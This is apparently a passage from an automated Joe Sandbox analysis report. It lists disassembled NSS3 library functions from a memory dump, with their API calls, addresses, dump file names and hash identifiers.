PK11_IsLoggedIn.NSS3 ref: 6CE5E046

Part of subcall function 6CE68F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE68FAF
Part of subcall function 6CE68F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE68FD1
Part of subcall function 6CE68F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE68FFA
Part of subcall function 6CE68F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE69013
Part of subcall function 6CE68F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE69042
Part of subcall function 6CE68F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE6905A
Part of subcall function 6CE68F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE69073
Part of subcall function 6CE68F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE69111

PR_Unlock.NSS3(?,?,?,?,6CE5B266,6CE615C6,?,?,6CE615C6), ref: 6CE5E149

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: c55a049a07b68250c941b529d7b679b385f79bb74cb803de74cace2f2de3ecfb
Instruction ID: c001eb56491d5297fee75fab8c27556283f019bdc34974d0c7233d7787fa3a6e
Opcode Fuzzy Hash: c55a049a07b68250c941b529d7b679b385f79bb74cb803de74cace2f2de3ecfb
Instruction Fuzzy Hash: 73513674600A01CFDB109F29C58476ABBF4BF44318F65896CD8998BB41D736E895CB92

Function 6CE6BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE6BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE6BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE49F71,?,?,00000000), ref: 6CE6BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE6BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE6C014

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 4668f7aee0bcceb0a736c8dd7373a3540d6fc8b800f77259ab499cf2dcc9ad0e
Instruction ID: 0ac6b1b3fd07092721e7ae40290e317f8e6da9f403c48f5f2a4bcbd0ba381c2f
Opcode Fuzzy Hash: 4668f7aee0bcceb0a736c8dd7373a3540d6fc8b800f77259ab499cf2dcc9ad0e
Instruction Fuzzy Hash: 4A41CF71F512059BEB00DE6B9C81BBAB7B9AF4520CF314128E819D7F51EB31D805DBA1

Function 6CE3EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE3EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE3EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE3EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE3EEEB
free.MOZGLUE(?), ref: 6CE3EEF6

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 88c51994cfe36c53787cb2f3724fc191121eb71270d5c34d96d0f17902618493
Instruction ID: 669578aed9638415738dca1a2293f93f24f7a8ac61e3f6f7d288c33166f1a879
Opcode Fuzzy Hash: 88c51994cfe36c53787cb2f3724fc191121eb71270d5c34d96d0f17902618493
Instruction Fuzzy Hash: 5E31E171A00A20DBEB209F2ADC45B667BB4FB46708F241529E95E87B90D731FC14CBD2

Function 6CE51F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE51F1C

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF69EBC), ref: 6CE51FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF69E9C,?,?,6CF69E9C), ref: 6CE5200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE52020

Part of subcall function 6CE46A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE4AD50,?,?), ref: 6CE46A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE52030

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 1b14609205e1f947e3ed6c11177a8a88f53ef96589d895091b88fec81db1f3c1
Instruction ID: 01c7a90bc604287f5b3a1119aa70cf3b499e6b1f4545f369b0ffffd80d561114
Opcode Fuzzy Hash: 1b14609205e1f947e3ed6c11177a8a88f53ef96589d895091b88fec81db1f3c1
Instruction Fuzzy Hash: A221C375901901ABEB014E55DC41BAA7778FF5621CFB40219E82896F80E733E939C7B1

Function 6CE41DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE41E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE41E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE41E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE41E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE41EAD

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: cdd99236b0192f150593829128a09fce518bc34da00a8b8d89cb0db03a4a1d20
Instruction ID: 4aff2709cfec05b7050ef673b1678326c0ec9268e56289f6d67731aa8568bb13
Opcode Fuzzy Hash: cdd99236b0192f150593829128a09fce518bc34da00a8b8d89cb0db03a4a1d20
Instruction Fuzzy Hash: 4021FB76E0471497DB008EA5EC40F5B77B49B89358F248638ED695B780E730D91987D2

Function 6CF51E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF51E5C

Part of subcall function 6CF09BF0: TlsGetValue.KERNEL32(?,?,?,6CF50A75), ref: 6CF09C07

PR_Lock.NSS3(00000000), ref: 6CF51E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF51EAB
PR_GetCurrentThread.NSS3 ref: 6CF51ED0
PR_Unlock.NSS3(?), ref: 6CF51EE8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 4f882d46f91bb1a4ce2cc743c9661b10edd1ab0b7a930de2f32df843b9d81361
Instruction ID: 7f072e0430f15ac481023ec141d5bef7281ec9f31d51539fc9afcb4bc53f99fc
Opcode Fuzzy Hash: 4f882d46f91bb1a4ce2cc743c9661b10edd1ab0b7a930de2f32df843b9d81361
Instruction Fuzzy Hash: 7B21BD75B14512ABD710CF19D880A86B7B0FF54728B65C329DA158BB41D730FD20CBD1

Function 6CE9BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE4E708,00000000,00000000,00000004,00000000), ref: 6CE9BE6A

Part of subcall function 6CEA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE504DC,?), ref: 6CE9BE7E

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE9BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE504DC,?,?), ref: 6CE9BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE9BEEB

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 86c146b04c8b606c5fa6cea09ea51d5aaaa186b286b2b518fe7bfe15aff0ddb0
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: B51101A6E0461977E7208AA6AC81F6B737D9B8175CF344129FE0686B52F731D80487E2

Function 6CE4AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE43FFF,00000000,?,?,?,?,?,6CE41A1C,00000000,00000000), ref: 6CE4ADA7

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE43FFF,00000000,?,?,?,?,?,6CE41A1C,00000000,00000000), ref: 6CE4ADB4

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE43FFF,?,?,?,?,6CE43FFF,00000000,?,?,?,?,?,6CE41A1C,00000000), ref: 6CE4ADD5

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF694B0,?,?,?,?,?,?,?,?,6CE43FFF,00000000,?), ref: 6CE4ADEC

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE43FFF), ref: 6CE4AE3C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 4e358325f6745708d7c966eb240389dc800c420c4d263aa28a412821880f7421
Instruction ID: 4f966563de3c550ec129e0dfa1e1ee738aeacc09089b1cb5063490e024884dbf
Opcode Fuzzy Hash: 4e358325f6745708d7c966eb240389dc800c420c4d263aa28a412821880f7421
Instruction Fuzzy Hash: D5113871E002145BE7109BA5AC40FBF77B8DF9565CF24863CFC299A741FB20E95982E2

Function 6CE58FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE60710), ref: 6CE58FF1
PR_CallOnce.NSS3(6CFA2158,6CE59150,00000000,?,?,?,6CE59138,?,6CE60710), ref: 6CE59029
calloc.MOZGLUE(00000001,00000000,?,?,6CE60710), ref: 6CE5904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE60710), ref: 6CE59066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE60710), ref: 6CE59078

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 440c0891129b63fa4201a79d0754d54e92da2f54a9135147060b0803dc516d58
Instruction ID: 508d6328d990a0e35498154024fe8992ac3e2ea0485f80b8309940821059625b
Opcode Fuzzy Hash: 440c0891129b63fa4201a79d0754d54e92da2f54a9135147060b0803dc516d58
Instruction Fuzzy Hash: 2C1108A1B1011157E7201AE9BC04AAA73BCDB827ACFA00931FD49C6B50F797CD6693B1

Function 6CE6CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CE81E10: TlsGetValue.KERNEL32 ref: 6CE81E36
Part of subcall function 6CE81E10: EnterCriticalSection.KERNEL32(?,?,?,6CE5B1EE,2404110F,?,?), ref: 6CE81E4B
Part of subcall function 6CE81E10: PR_Unlock.NSS3 ref: 6CE81E76

free.MOZGLUE(?,6CE6D079,00000000,00000001), ref: 6CE6CDA5
PK11_FreeSymKey.NSS3(?,6CE6D079,00000000,00000001), ref: 6CE6CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE6D079,00000000,00000001), ref: 6CE6CDCF
DeleteCriticalSection.KERNEL32(?,6CE6D079,00000000,00000001), ref: 6CE6CDE2
free.MOZGLUE(?), ref: 6CE6CDE9

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 12b48df11f5c5f6ec2f38d1cd603f14d9e6c7aff74d53e6baa7d24c28fdac2ca
Instruction ID: eef5aeb08b6d75b338ee391a772d22b62f82f0d959e57519f66a76b10beb237a
Opcode Fuzzy Hash: 12b48df11f5c5f6ec2f38d1cd603f14d9e6c7aff74d53e6baa7d24c28fdac2ca
Instruction Fuzzy Hash: F911ACB2B51111ABDF00AFA6EC44A96B77CBB0426DB200121EA19C7E01E732E424C7E1

Function 6CED2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CED5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CED5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED2CEC

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_EnterMonitor.NSS3(?), ref: 6CED2D02
PR_EnterMonitor.NSS3(?), ref: 6CED2D1F
PR_ExitMonitor.NSS3(?), ref: 6CED2D42
PR_ExitMonitor.NSS3(?), ref: 6CED2D5B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 7872cbff057c9228ad330a41fb6ebd0cf70020e3785eae893e30cb7d091f1e1b
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AE01C4B5A002046FE6309E25FC40BC7B7B1EF55718F114525E95986720E632FD169793

Function 6CED2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CED5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CED5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED2D9C

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_EnterMonitor.NSS3(?), ref: 6CED2DB2
PR_EnterMonitor.NSS3(?), ref: 6CED2DCF
PR_ExitMonitor.NSS3(?), ref: 6CED2DF2
PR_ExitMonitor.NSS3(?), ref: 6CED2E0B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: ecccf236c60b8bea74ef97fa2df14121cbe819f7f6fc1d205fb1eed1b74a646a
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 990104B5A006005FEA319E25FC00BC7B7B1EF51318F114438E85986B11E632F9269693

Function 6CE6AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE53090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE6AE42), ref: 6CE530AA
Part of subcall function 6CE53090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE530C7
Part of subcall function 6CE53090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE530E5
Part of subcall function 6CE53090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE53116
Part of subcall function 6CE53090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE5312B
Part of subcall function 6CE53090: PK11_DestroyObject.NSS3(?,?), ref: 6CE53154
Part of subcall function 6CE53090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE5317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE499FF,?,?,?,?,?,?,?,?,?,6CE42D6B,?), ref: 6CE6AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE499FF,?,?,?,?,?,?,?,?,?,6CE42D6B,?), ref: 6CE6AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE42D6B,?,?,00000000), ref: 6CE6AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE42D6B,?,?,00000000), ref: 6CE6AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE42D6B,?,?), ref: 6CE6AEA3

Memory Dump Source

